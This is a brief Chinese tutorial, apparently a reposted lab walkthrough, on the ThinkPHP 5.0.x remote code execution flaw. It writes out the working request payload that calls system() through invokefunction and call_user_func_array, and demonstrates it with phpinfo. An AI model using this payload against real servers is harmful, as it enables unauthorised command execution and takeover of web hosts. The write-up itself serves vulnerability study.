漏洞出现的背景:
ThinkPHP是⼀款运⽤极⼴的PHP开发框架。
其5.0.23以前的版本中,获取method的⽅法中没有正确处理⽅法名,
导致攻击者可以调⽤Request类任意⽅法并构造利⽤链,从⽽导致远程代码执⾏漏洞。
由于ThinkPHP5框架对控制器名没有进⾏⾜够的安全检测,导致在没有开启强制路由的情况下,构造特定的请求。
从网上下载源码
从网上搜索thinkphp5.0.21漏洞,发现存在远程命令执行漏洞
ThinkPHP 5.0<5.0.23&5.1<5.1.31版本在没有开启强制路由的情况下可能存在远程代码执行漏洞。攻击者通过该漏洞可能完全控制Web服务器。
:网页只显示了tinkphp,我们已知thinkphp是存在漏洞的,直接Github搜索thinkphp漏洞(https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection),发现:
通过github上面的漏洞报告可知,我们可以
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令参数
就是远程代码执行漏洞啦,输入命令就返回什么 。
举个例子,我们可以让他执行phpinfo操作,输入;
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
成功执行命令执行漏洞,回显php
文章来源:https://www.toymoban.com/news/detail-443669.html
文章来源地址https://www.toymoban.com/news/detail-443669.html
到了这里,关于ThinkPHP5.0.21远程命令执行漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!